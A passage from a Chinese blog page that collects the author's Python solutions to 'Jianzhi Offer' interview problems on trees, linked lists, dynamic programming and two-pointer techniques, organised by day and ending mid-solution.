<h4 id="剑指-Offer-27-二叉树的镜像"><a href="#剑指-Offer-27-二叉树的镜像" class="headerlink" title="剑指 Offer 27. 二叉树的镜像"></a>剑指 Offer 27. 二叉树的镜像</h4><p>recursion<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def mirrorTree(self, root: TreeNode) -> TreeNode:</span><br><span class="line"> if not root:</span><br><span class="line"> return None</span><br><span class="line"> root.left, root.right = self.mirrorTree(root.right), self.mirrorTree(root.left)</span><br><span class="line"> return root</span><br><span class="line"> </span><br></pre></td></tr></table></figure></p>
<h4 id="剑指-Offer-28-对称的二叉树"><a href="#剑指-Offer-28-对称的二叉树" class="headerlink" title="剑指 Offer 28. 对称的二叉树"></a>剑指 Offer 28. 对称的二叉树</h4><p>recursion<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def isSymmetric(self, root: TreeNode) -> bool:</span><br><span class="line"> def recur(left: TreeNode, right: TreeNode) -> bool:</span><br><span class="line"> if not left and not right:</span><br><span class="line"> return True</span><br><span class="line"> if not left or not right or left.val != right.val:</span><br><span class="line"> return False</span><br><span class="line"> return recur(left.left, right.right) and recur(left.right, right.left)</span><br><span class="line"> if not root:</span><br><span class="line"> return True</span><br><span class="line"> return recur(root.left, root.right)</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="day8"><a href="#day8" class="headerlink" title="day8"></a>day8</h3><h4 id="剑指-Offer-10-I-斐波那契数列"><a href="#剑指-Offer-10-I-斐波那契数列" class="headerlink" title="剑指 Offer 10- I. 斐波那契数列"></a>剑指 Offer 10- I. 斐波那契数列</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def fib(self, n: int) -> int:</span><br><span class="line"> if n == 0:</span><br><span class="line"> return 0</span><br><span class="line"> result = [0] * (n + 1)</span><br><span class="line"> result[1] = 1</span><br><span class="line"> for i in range(2, n + 1):</span><br><span class="line"> result[i] = result[i-1] + result[i-2]</span><br><span class="line"> return result[-1] % 1000000007</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-10-II-青蛙跳台阶问题"><a href="#剑指-Offer-10-II-青蛙跳台阶问题" class="headerlink" title="剑指 Offer 10- II. 青蛙跳台阶问题"></a>剑指 Offer 10- II. 青蛙跳台阶问题</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def numWays(self, n: int) -> int:</span><br><span class="line"> if n == 0 or n == 1: </span><br><span class="line"> return 1</span><br><span class="line"> result = [0] * (n + 1)</span><br><span class="line"> result[0] = result[1] = 1</span><br><span class="line"> for i in range(2, n+1):</span><br><span class="line"> result[i] = result[i-1] + result[i-2]</span><br><span class="line"> return result[-1] % 1000000007</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-63-股票的最大利润"><a href="#剑指-Offer-63-股票的最大利润" class="headerlink" title="剑指 Offer 63. 股票的最大利润"></a>剑指 Offer 63. 股票的最大利润</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def maxProfit(self, prices: List[int]) -> int:</span><br><span class="line"> if len(prices) == 0:</span><br><span class="line"> return 0</span><br><span class="line"> min_price = prices[0]</span><br><span class="line"> result = 0</span><br><span class="line"> for price in prices:</span><br><span class="line"> if price > min_price:</span><br><span class="line"> result = max(result, price - min_price)</span><br><span class="line"> min_price = min(min_price, price)</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day9"><a href="#day9" class="headerlink" title="day9"></a>day9</h3><h4 id="剑指-Offer-42-连续子数组的最大和"><a href="#剑指-Offer-42-连续子数组的最大和" class="headerlink" title="剑指 Offer 42. 连续子数组的最大和"></a>剑指 Offer 42. 连续子数组的最大和</h4><p>dp<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def maxSubArray(self, nums: List[int]) -> int:</span><br><span class="line"> result = nums[0]</span><br><span class="line"> dp = [0] * len(nums)</span><br><span class="line"> dp[0] = nums[0]</span><br><span class="line"> for i in range(1, len(nums)):</span><br><span class="line"> dp[i] = max(nums[i], dp[i - 1] + nums[i])</span><br><span class="line"> result = max(result, dp[i])</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h4 id="剑指-Offer-47-礼物的最大价值"><a href="#剑指-Offer-47-礼物的最大价值" class="headerlink" title="剑指 Offer 47. 礼物的最大价值"></a>剑指 Offer 47. 礼物的最大价值</h4><p>dp<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def maxValue(self, grid: List[List[int]]) -> int:</span><br><span class="line"> values = [[0] * (len(grid[0])+1) for _ in range(len(grid)+1)]</span><br><span class="line"> for i in range(len(grid)):</span><br><span class="line"> for j in range(len(grid[0])):</span><br><span class="line"> values[i+1][j+1] = max(values[i][j+1], values[i+1][j]) + grid[i][j]</span><br><span class="line"> return values[-1][-1]</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="day10"><a href="#day10" class="headerlink" title="day10"></a>day10</h3><h4 id="剑指-Offer-46-把数字翻译成字符串"><a href="#剑指-Offer-46-把数字翻译成字符串" class="headerlink" title="剑指 Offer 46. 把数字翻译成字符串"></a>剑指 Offer 46. 把数字翻译成字符串</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def translateNum(self, num: int) -> int:</span><br><span class="line"> nums = str(num)</span><br><span class="line"> dp = [0] * (len(nums) + 1)</span><br><span class="line"> dp[0] = 1</span><br><span class="line"> for i in range(len(nums)):</span><br><span class="line"> if i == 0:</span><br><span class="line"> dp[i+1] = 1</span><br><span class="line"> else:</span><br><span class="line"> dp[i+1] = dp[i]</span><br><span class="line"> if nums[i-1] == '1' or (nums[i-1] == '2' and '0' <= nums[i] <= '5'):</span><br><span class="line"> dp[i+1] += dp[i-1]</span><br><span class="line"> return dp[-1]</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-48-最长不含重复字符的子字符串"><a href="#剑指-Offer-48-最长不含重复字符的子字符串" class="headerlink" title="剑指 Offer 48. 最长不含重复字符的子字符串"></a>剑指 Offer 48. 最长不含重复字符的子字符串</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def lengthOfLongestSubstring(self, s: str) -> int:</span><br><span class="line"> result = 0</span><br><span class="line"> string_set = set()</span><br><span class="line"> right, string_len = 0, len(s)</span><br><span class="line"> for left in range(string_len):</span><br><span class="line"> if left:</span><br><span class="line"> string_set.remove(s[left - 1])</span><br><span class="line"> while right < string_len and s[right] not in string_set:</span><br><span class="line"> string_set.add(s[right])</span><br><span class="line"> right += 1</span><br><span class="line"> result = max(result, right - left)</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day11"><a href="#day11" class="headerlink" title="day11"></a>day11</h3><h4 id="剑指-Offer-18-删除链表的节点"><a href="#剑指-Offer-18-删除链表的节点" class="headerlink" title="剑指 Offer 18. 删除链表的节点"></a>剑指 Offer 18. 删除链表的节点</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"># Definition for singly-linked list.</span><br><span class="line"># class ListNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.next = None</span><br><span class="line">class Solution:</span><br><span class="line"> def deleteNode(self, head: ListNode, val: int) -> ListNode:</span><br><span class="line"> new_head = ListNode(0)</span><br><span class="line"> new_head.next = head</span><br><span class="line"> left = new_head</span><br><span class="line"> right = head</span><br><span class="line"> while right and right.val != val:</span><br><span class="line"> right = right.next</span><br><span class="line"> left = left.next</span><br><span class="line"> if right:</span><br><span class="line"> left.next = right.next</span><br><span class="line"> else:</span><br><span class="line"> left.next = None</span><br><span class="line"> return new_head.next</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-22-链表中倒数第k个节点"><a href="#剑指-Offer-22-链表中倒数第k个节点" class="headerlink" title="剑指 Offer 22. 链表中倒数第k个节点"></a>剑指 Offer 22. 链表中倒数第k个节点</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"># Definition for singly-linked list.</span><br><span class="line"># class ListNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.next = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def getKthFromEnd(self, head: ListNode, k: int) -> ListNode:</span><br><span class="line"> left = right = head</span><br><span class="line"> for _ in range(k):</span><br><span class="line"> right = right.next</span><br><span class="line"> while right:</span><br><span class="line"> left = left.next</span><br><span class="line"> right = right.next</span><br><span class="line"> return left</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day12"><a href="#day12" class="headerlink" title="day12"></a>day12</h3><h4 id="剑指-Offer-25-合并两个排序的链表"><a href="#剑指-Offer-25-合并两个排序的链表" class="headerlink" title="剑指 Offer 25. 合并两个排序的链表"></a>剑指 Offer 25. 合并两个排序的链表</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"># Definition for singly-linked list.</span><br><span class="line"># class ListNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.next = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> ListNode:</span><br><span class="line"> new_head = ListNode(0)</span><br><span class="line"> tmp = new_head</span><br><span class="line"> while l1 and l2:</span><br><span class="line"> if l1.val <= l2.val:</span><br><span class="line"> tmp.next = l1</span><br><span class="line"> l1 = l1.next</span><br><span class="line"> else:</span><br><span class="line"> tmp.next = l2</span><br><span class="line"> l2 = l2.next</span><br><span class="line"> tmp = tmp.next</span><br><span class="line"> if l1:</span><br><span class="line"> tmp.next = l1</span><br><span class="line"> else:</span><br><span class="line"> tmp.next = l2</span><br><span class="line"> return new_head.next</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-52-两个链表的第一个公共节点"><a href="#剑指-Offer-52-两个链表的第一个公共节点" class="headerlink" title="剑指 Offer 52. 两个链表的第一个公共节点"></a>剑指 Offer 52. 两个链表的第一个公共节点</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"># Definition for singly-linked list.</span><br><span class="line"># class ListNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.next = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def getIntersectionNode(self, headA: ListNode, headB: ListNode) -> ListNode:</span><br><span class="line"> if not headA or not headB:</span><br><span class="line"> return None</span><br><span class="line"> left, right = headA, headB</span><br><span class="line"> while left != right:</span><br><span class="line"> if left:</span><br><span class="line"> left = left.next</span><br><span class="line"> else:</span><br><span class="line"> left = headB</span><br><span class="line"> if right:</span><br><span class="line"> right = right.next</span><br><span class="line"> else:</span><br><span class="line"> right = headA</span><br><span class="line"> return left</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day13"><a href="#day13" class="headerlink" title="day13"></a>day13</h3><h4 id="剑指-Offer-21-调整数组顺序使奇数位于偶数前面"><a href="#剑指-Offer-21-调整数组顺序使奇数位于偶数前面" class="headerlink" title="剑指 Offer 21. 调整数组顺序使奇数位于偶数前面"></a>剑指 Offer 21. 调整数组顺序使奇数位于偶数前面</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def exchange(self, nums: List[int]) -> List[int]:</span><br><span class="line"> left, right = 0, len(nums) - 1</span><br><span class="line"> while left < right:</span><br><span class="line"> while left < right and nums[left] & 1 == 1:</span><br><span class="line"> left += 1</span><br><span class="line"> while left < right and nums[right] & 1 == 0:</span><br><span class="line"> right -= 1</span><br><span class="line"> nums[left], nums[right] = nums[right], nums[left]</span><br><span class="line"> return nums</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-57-和为s的两个数字"><a href="#剑指-Offer-57-和为s的两个数字" class="headerlink" title="剑指 Offer 57. 和为s的两个数字"></a>剑指 Offer 57. 和为s的两个数字</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def twoSum(self, nums: List[int], target: int) -> List[int]:</span><br><span class="line"> left, right = 0, len(nums) - 1</span><br><span class="line"> while left < right:</span><br><span class="line"> s = nums[left] + nums[right]</span><br><span class="line"> if s < target:</span><br><span class="line"> left += 1</span><br><span class="line"> elif s > target:</span><br><span class="line"> right -= 1</span><br><span class="line"> else:</span><br><span class="line"> return [nums[left], nums[right]]</span><br><span class="line"> return []</span><br><span class="line"> </span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-58-I-翻转单词顺序"><a href="#剑指-Offer-58-I-翻转单词顺序" class="headerlink" title="剑指 Offer 58 - I. 翻转单词顺序"></a>剑指 Offer 58 - I. 翻转单词顺序</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def reverseWords(self, s: str) -> str:</span><br><span class="line"> return ' '.join(reversed(s.split()))</span><br></pre></td></tr></table></figure>
<h3 id="day14"><a href="#day14" class="headerlink" title="day14"></a>day14</h3><h4 id="剑指-Offer-12-矩阵中的路径"><a href="#剑指-Offer-12-矩阵中的路径" class="headerlink" title="剑指 Offer 12. 矩阵中的路径"></a>剑指 Offer 12. 矩阵中的路径</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def exist(self, board: List[List[str]], word: str) -> bool:</span><br><span class="line"> directions = [(1, 0), (-1, 0), (0, 1), (0, -1)]</span><br><span class="line"> def check(i, j, k):</span><br><span class="line"> if board[i][j] != word[k]:</span><br><span class="line"> return False</span><br><span class="line"> if k == len(word) - 1:</span><br><span class="line"> return True</span><br><span class="line"> visited.add((i, j))</span><br><span class="line"> result = False</span><br><span class="line"> for x1, y1 in directions:</span><br><span class="line"> newi, newj = i + x1, j + y1</span><br><span class="line"> if 0 <= newi < len(board) and 0 <= newj < len(board[0]):</span><br><span class="line"> if (newi, newj) not in visited:</span><br><span class="line"> if check(newi, newj, k + 1):</span><br><span class="line"> result = True</span><br><span class="line"> break</span><br><span class="line"> visited.remove((i, j))</span><br><span class="line"> return result</span><br><span class="line"> m, n = len(board), len(board[0])</span><br><span class="line"> visited = set()</span><br><span class="line"> for a in range(m):</span><br><span class="line"> for b in range(n):</span><br><span class="line"> if check(a, b, 0):</span><br><span class="line"> return True</span><br><span class="line"> return False</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="面试题13-机器人的运动范围"><a href="#面试题13-机器人的运动范围" class="headerlink" title="面试题13. 机器人的运动范围"></a>面试题13. 机器人的运动范围</h4><p>bfs<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def movingCount(self, m: int, n: int, k: int) -> int:</span><br><span class="line"> def digitSum(num):</span><br><span class="line"> result = 0</span><br><span class="line"> while num > 0:</span><br><span class="line"> result += num % 10</span><br><span class="line"> num //= 10</span><br><span class="line"> return result</span><br><span class="line"> from queue import Queue</span><br><span class="line"> q = Queue()</span><br><span class="line"> q.put((0, 0))</span><br><span class="line"> s = set()</span><br><span class="line"> while not q.empty():</span><br><span class="line"> x, y = q.get()</span><br><span class="line"> if (x, y) not in s and 0 <= x < m and 0 <= y < n and digitSum(x) + digitSum(y) <= k:</span><br><span class="line"> s.add((x, y))</span><br><span class="line"> q.put((x + 1, y))</span><br><span class="line"> q.put((x, y + 1))</span><br><span class="line"> return len(s)</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<p>recursion<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def movingCount(self, m: int, n: int, k: int) -> int:</span><br><span class="line"> def digitSum(num):</span><br><span class="line"> result = 0</span><br><span class="line"> while num > 0:</span><br><span class="line"> result += num % 10</span><br><span class="line"> num //= 10</span><br><span class="line"> return result</span><br><span class="line"> s = set([(0, 0)])</span><br><span class="line"> for i in range(m):</span><br><span class="line"> for j in range(n):</span><br><span class="line"> if ((i - 1, j) in s or (i, j - 1) in s) and digitSum(i) + digitSum(j) <= k:</span><br><span class="line"> s.add((i, j))</span><br><span class="line"> return len(s)</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="day15"><a href="#day15" class="headerlink" title="day15"></a>day15</h3><h4 id="剑指-Offer-34-二叉树中和为某一值的路径"><a href="#剑指-Offer-34-二叉树中和为某一值的路径" class="headerlink" title="剑指 Offer 34. 二叉树中和为某一值的路径"></a>剑指 Offer 34. 二叉树中和为某一值的路径</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, val=0, left=None, right=None):</span><br><span class="line"># self.val = val</span><br><span class="line"># self.left = left</span><br><span class="line"># self.right = right</span><br><span class="line">class Solution:</span><br><span class="line"> def pathSum(self, root: Optional[TreeNode], targetSum: int) -> List[List[int]]:</span><br><span class="line"> if not root:</span><br><span class="line"> return []</span><br><span class="line"> if not root.left and not root.right:</span><br><span class="line"> if root.val == targetSum:</span><br><span class="line"> return [[root.val]]</span><br><span class="line"> else:</span><br><span class="line"> return []</span><br><span class="line"> else:</span><br><span class="line"> result = []</span><br><span class="line"> left_result = self.pathSum(root.left, targetSum - root.val)</span><br><span class="line"> for lr in left_result:</span><br><span class="line"> result.append([root.val] + lr)</span><br><span class="line"> right_result = self.pathSum(root.right, targetSum - root.val)</span><br><span class="line"> for rr in right_result:</span><br><span class="line"> result.append([root.val] + rr)</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-36-二叉搜索树与双向链表"><a href="#剑指-Offer-36-二叉搜索树与双向链表" class="headerlink" title="剑指 Offer 36. 二叉搜索树与双向链表"></a>剑指 Offer 36. 二叉搜索树与双向链表</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">"""</span><br><span class="line"># Definition for a Node.</span><br><span class="line">class Node:</span><br><span class="line"> def __init__(self, val, left=None, right=None):</span><br><span class="line"> self.val = val</span><br><span class="line"> self.left = left</span><br><span class="line"> self.right = right</span><br><span class="line">"""</span><br><span class="line">class Solution:</span><br><span class="line"> def generateList(self, root: 'Node') -> List['Node']:</span><br><span class="line"> if not root:</span><br><span class="line"> return [None, None]</span><br><span class="line"> left = self.generateList(root.left)</span><br><span class="line"> right = self.generateList(root.right)</span><br><span class="line"> root.left = left[1]</span><br><span class="line"> root.right = right[0]</span><br><span class="line"> if left[0]:</span><br><span class="line"> left[1].right = root</span><br><span class="line"> if right[1]:</span><br><span class="line"> right[0].left = root</span><br><span class="line"> return [left[0], right[1]]</span><br><span class="line"> else:</span><br><span class="line"> return [left[0], root]</span><br><span class="line"> else:</span><br><span class="line"> if right[1]:</span><br><span class="line"> right[0].left = root</span><br><span class="line"> return [root, right[1]]</span><br><span class="line"> else:</span><br><span class="line"> return [root, root]</span><br><span class="line"> </span><br><span class="line"> def treeToDoublyList(self, root: 'Node') -> 'Node':</span><br><span class="line"> res = self.generateList(root)</span><br><span class="line"> if res[0]:</span><br><span class="line"> res[0].left = res[1]</span><br><span class="line"> if res[1]:</span><br><span class="line"> res[1].right = res[0]</span><br><span class="line"> return res[0]</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-54-二叉搜索树的第k大节点"><a href="#剑指-Offer-54-二叉搜索树的第k大节点" class="headerlink" title="剑指 Offer 54. 二叉搜索树的第k大节点"></a>剑指 Offer 54. 二叉搜索树的第k大节点</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def kthLargest(self, root: TreeNode, k: int) -> int:</span><br><span class="line"> def dfs(root):</span><br><span class="line"> if not root:</span><br><span class="line"> return</span><br><span class="line"> dfs(root.right)</span><br><span class="line"> if self.k == 0:</span><br><span class="line"> return</span><br><span class="line"> self.k -= 1</span><br><span class="line"> if self.k == 